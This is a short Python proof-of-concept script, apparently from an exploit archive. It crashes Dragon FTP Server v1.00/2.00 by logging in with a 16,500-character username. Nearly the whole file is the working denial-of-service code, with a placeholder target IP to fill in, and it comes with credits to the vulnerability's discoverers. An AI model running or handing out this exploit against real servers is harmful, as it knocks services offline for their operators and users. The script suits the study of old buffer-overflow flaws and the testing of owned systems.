dragonftp.py

`#!/usr/bin/python  
#  
# Dragon Server(ftp) DoS Proof of Concept Code.  
# Vulnerability Discovered by USSR Labs(http://www.ussrback.com)  
# Simple Script by Prizm([email protected])  
#   
# By connecting to port 21(ftp) on a system running Dragon FTP Server v1.00/2.00 and typing   
# USER (16500 bytes) the service will crash  
#  
# This *simple* little script will cause Dragon Server's ftp service to crash.  
  
from ftplib import FTP  
  
ftp = FTP('xxx.xxx.xxx.xxx') # Replace x's with IP.   
ftp.login('A' * 16500)   
ftp.quit()  
  
#end`